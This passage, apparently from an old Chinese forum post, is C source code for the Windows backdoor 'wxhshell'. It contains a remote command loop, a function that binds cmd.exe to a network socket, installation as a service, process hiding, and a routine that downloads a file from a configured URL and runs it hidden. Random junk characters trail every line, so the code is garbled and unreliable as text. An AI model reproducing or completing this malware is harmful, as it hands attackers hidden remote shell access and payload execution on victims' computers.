  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}s*E_/[  
  else 'j8:vq^d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VK\X&Y3l  
  } ["k,QX  
  else { UJAv`yjG  
}I+E\ <  
    switch(cmd[0]) { Jy`B!S_l  
  8sWJcmVo  
  // 帮助 17%,7P9pg  
  case '?': { >reU#j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /$xU  
    break; GbY7_N  
  } Olt?~}  
  // 安装 `_Zg3_K.dS  
  case 'i': { .nf#c.DI  
    if(Install()) wY{-BuXv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B:yGS*.tu  
    else ;s= l52  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  L2[($l  
    break; W fN2bsx>  
    } V5nwu#  
  // 卸载 ky,(xT4  
  case 'r': { <SAzxo:I  
    if(Uninstall()) *MFIV02[N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]([\%)  
    else f M :]&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (?1y4M  
    break; Drgv`z  
    } +< Nn~1  
  // 显示 wxhshell 所在路径 >^?u .gM3  
  case 'p': { `t>l:<@%  
    char svExeFile[MAX_PATH]; iJ)_RSFK  
    strcpy(svExeFile,"\n\r"); oj m @t  
      strcat(svExeFile,ExeFile); >UTBO|95y  
        send(wsh,svExeFile,strlen(svExeFile),0); #K_ii)n  
    break; [B*x-R[FI  
    } HTv2#  
  // 重启 }<0BX\@I  
  case 'b': { }^ ~F|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !I{0 _b{  
    if(Boot(REBOOT)) p}z<Fdu 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hn7# L  
    else { >W=,j)MA  
    closesocket(wsh); ;LKkbT 5  
    ExitThread(0); a{'vN93  
    } g]l'' 7G  
    break; cN-?l7  
    } gS!:+G%  
  // 关机 t9GR69v:?  
  case 'd': { z3{G9Np  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TPQ%L@^ L+  
    if(Boot(SHUTDOWN)) wv>^0\o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); htO +z7  
    else { Y!aSs3c  
    closesocket(wsh); kUL' 1!j7  
    ExitThread(0); RtkEGxw*^  
    } r!|6:G+Q  
    break; WH#1 zv  
    } > ym,{EHK  
  // 获取shell P[G)sA_"  
  case 's': { )` SrfGp8  
    CmdShell(wsh); Hp|kQJ[LE  
    closesocket(wsh); b"<liGh"n-  
    ExitThread(0); #X+JHl  
    break; T8?Ghbn  
  } 0mYXv4 <  
  // 退出 ;RZ )  
  case 'x': { Di,^%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P8OaoPj  
    CloseIt(wsh); M~Tuj1?  
    break; \S `:y?[Y  
    } \}yc`7T:L0  
  // 离开 "=HA Y  
  case 'q': { B {n,t}z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ANAVn@ [  
    closesocket(wsh); jKz$@gP  
    WSACleanup(); y>8sZuH0  
    exit(1); nSDMOyj+  
    break; zH72'"w  
        } m+`cS=-.  
  } nI?[rCM  
  } :I.mGH!^  
(U D nsF  
  // 提示信息 Y Vt% 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d~])K#oJ  
} h"B+hu  
  } 6%\J"AgXO  
\Gef \   
  return; /* (Kr'c  
} 5ORo3T%  
}?$F}s-  
// shell模块句柄 E<rp7~#  
int CmdShell(SOCKET sock) ; }I:\P  
{ |MTnH/|  
STARTUPINFO si; )rIwqUgp6\  
ZeroMemory(&si,sizeof(si)); j.[.1G*("  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zF`0J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &Q/W~)~  
PROCESS_INFORMATION ProcessInfo; F>Ah0U0  
char cmdline[]="cmd"; _O)>$.^6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); etQCzYIhn  
  return 0; udK%>  
} w0 M>[ 4  
1;bh^WMJ  
// 自身启动模式 >%_\;svZG  
int StartFromService(void) pHGYQ;:L  
{ B B{$&Oh  
typedef struct ]6,\r"  
{ O0x,lq  
  DWORD ExitStatus; SBu"3ym  
  DWORD PebBaseAddress; 4!{KWL`A  
  DWORD AffinityMask; Ot0ap$&  
  DWORD BasePriority; df8k7D;~e  
  ULONG UniqueProcessId; l ~"^7H?4e  
  ULONG InheritedFromUniqueProcessId; 3GYw+%Z]  
}   PROCESS_BASIC_INFORMATION; nAAs{  
;$,U~0  
PROCNTQSIP NtQueryInformationProcess; soB,j3#p'*  
n-2]M0 5O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >a<.mU|#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wq`s-qZu  
}^WdJd]P  
  HANDLE             hProcess; UkwP  
  PROCESS_BASIC_INFORMATION pbi; d UE,U=  
.<0ye_S'y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 98c(<  
  if(NULL == hInst ) return 0; 5+0gR &|j  
Lz}OwKl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0@0w+&*"@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wQl ,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tPWLg),  
T3.&R#1M8-  
  if (!NtQueryInformationProcess) return 0; caR<Kb:;*  
,$L4dF3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IxN9&xa  
  if(!hProcess) return 0; ='r!g  
f1RWP@iar  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;vR4XHl|  
.&iawz  
  CloseHandle(hProcess); a#(?P.6  
23eX;gL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J9nX"Sb  
if(hProcess==NULL) return 0; PCee<W_%YE  
/ y40(l?  
HMODULE hMod; \[i1JG  
char procName[255];  `,*3[  
unsigned long cbNeeded; [ZwjOi:)  
8}x:`vDK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tmYz R%i  
y3Qsv  
  CloseHandle(hProcess); ha<[b ue  
#powub  
if(strstr(procName,"services")) return 1; // 以服务启动 @Ns Qd_e  
w$iX.2|9%u  
  return 0; // 注册表启动 @Sn(lnlB  
} mfn,Gjt3O  
Lz Kj=5'Y  
// 主模块 ?#G$=4;i  
int StartWxhshell(LPSTR lpCmdLine) uk:(pZ-uJ  
{ 2DDtu[}  
  SOCKET wsl; 'W^YM@  
BOOL val=TRUE; cxC6n%!;y  
  int port=0;  @tnz]^V  
  struct sockaddr_in door; vzAaxk%  
epe)a  
  if(wscfg.ws_autoins) Install(); CI0C1/:@  
|kg7LP3(8,  
port=atoi(lpCmdLine); |$Sedzj'  
SYJD?&C;  
if(port<=0) port=wscfg.ws_port; ?pmHFlx  
VQt0  4?  
  WSADATA data; 3,3N^nSD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e2TiBTbQaF  
9d659i C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^98~U\ar  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tn e4  
  door.sin_family = AF_INET; qOtgve`jX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :6 R\OeH+  
  door.sin_port = htons(port); `wEb<H  
20h, ^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .f2bNnB~pP  
closesocket(wsl); g}{aZ$sta  
return 1; RWZSQ~  
} ;7V%#-  
L|7R9+ZG  
  if(listen(wsl,2) == INVALID_SOCKET) { c ( C%Hld  
closesocket(wsl); ^A/k)x6  
return 1; ` p-cSxR_  
} %p=M;  
  Wxhshell(wsl); G `61~F%  
  WSACleanup(); :Yh+>c}N  
UKvWJnz  
return 0; xGg )Y#  
F^BS/Yag  
} Qbn"=n2  
lvz7#f L~  
// 以NT服务方式启动 `iNSr?N.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .@U@xRu7|  
{ 5c0 ZRV#  
DWORD   status = 0; \ :sUL!  
  DWORD   specificError = 0xfffffff; @o _}g !9=  
"?xHlYj@+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D=Gtq6jd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]neex|3lG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qn.om=KDs@  
  serviceStatus.dwWin32ExitCode     = 0; PiIpnoM  
  serviceStatus.dwServiceSpecificExitCode = 0; Vn}0}Jz  
  serviceStatus.dwCheckPoint       = 0; ?P`K7  
  serviceStatus.dwWaitHint       = 0; -;m0R  
q,|j]+9q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l<LI7Z]A  
  if (hServiceStatusHandle==0) return; 6SkaH<-&K  
d.d/<  
status = GetLastError(); JIOR4'9  
  if (status!=NO_ERROR) $ @`V  
{ .j0$J\:i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ChPmX+.i_  
    serviceStatus.dwCheckPoint       = 0; vMH  
    serviceStatus.dwWaitHint       = 0; :q% M_  
    serviceStatus.dwWin32ExitCode     = status; )'#A$ Fj  
    serviceStatus.dwServiceSpecificExitCode = specificError; WlC:l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f+,qNvBY/  
    return; [!#L6&:a8  
  } w-MCZwCr)  
X51:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fj3a.'  
  serviceStatus.dwCheckPoint       = 0; /]Md~=yNp  
  serviceStatus.dwWaitHint       = 0; h2]P]@nW;W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SsDmoEeB[  
} c9 _ rmz8  
agDM~=#F  
// 处理NT服务事件,比如:启动、停止 *H2r@)Y[~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k9 I%PH  
{ k)=s>&hl  
switch(fdwControl) 3ym',q  
{ F_{Yo?_  
case SERVICE_CONTROL_STOP: +.FEq*V  
  serviceStatus.dwWin32ExitCode = 0; E]n&=\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H3=qe I  
  serviceStatus.dwCheckPoint   = 0; &Q#66ev  
  serviceStatus.dwWaitHint     = 0; C XMLt  
  { h]}wp;Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #gs`#6 ,'  
  } 29] G^f>  
  return; 08\, <9  
case SERVICE_CONTROL_PAUSE: eJX9_6m-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _|I#{jK  
  break; 0 ZKx<]!  
case SERVICE_CONTROL_CONTINUE: $Sip$\+*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vv=. -&'  
  break; |3"KK  
case SERVICE_CONTROL_INTERROGATE: PB*&aYLU  
  break; ~P **O~  
}; :{l_FY436  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #r\4sVg  
} .|fH y  
4!yzsPJL  
// 标准应用程序主函数 `mJ6K&t$<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j>"@,B g*  
{ J<h $ wM  
`l[c_%Bm  
// 获取操作系统版本 .?sx&2R2  
OsIsNt=GetOsVer(); !M1"b;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3,qr-g|;jM  
;$wVu|&  
  // 从命令行安装 !?h;wR  
  if(strpbrk(lpCmdLine,"iI")) Install(); >SHhAEF  
ul>3B4  
  // 下载执行文件 ?1 4{J]H4  
if(wscfg.ws_downexe) { K Z91-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n 0L^e  
  WinExec(wscfg.ws_filenam,SW_HIDE); /7F:T[  
} _Q4)X)F  
dcN22A3  
if(!OsIsNt) { %l[( Iw  
// 如果时win9x,隐藏进程并且设置为注册表启动 E]-/Zbvdv  
HideProc(); QlU8uI[dk  
StartWxhshell(lpCmdLine); C33J5'(CA  
} uHzU-FZ|B  
else GGs}i1m  
  if(StartFromService()) f r6 fj  
  // 以服务方式启动 {hrX'2:ClT  
  StartServiceCtrlDispatcher(DispatchTable); 33B]RGq  
else {cVEmvE8  
  // 普通方式启动 4vB<fPN  
  StartWxhshell(lpCmdLine); $uVHSH5l  
ENs&RZ;  
return 0; t-bB>q#3>  
}
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只看该作者 1 发表于: 2006-10-10
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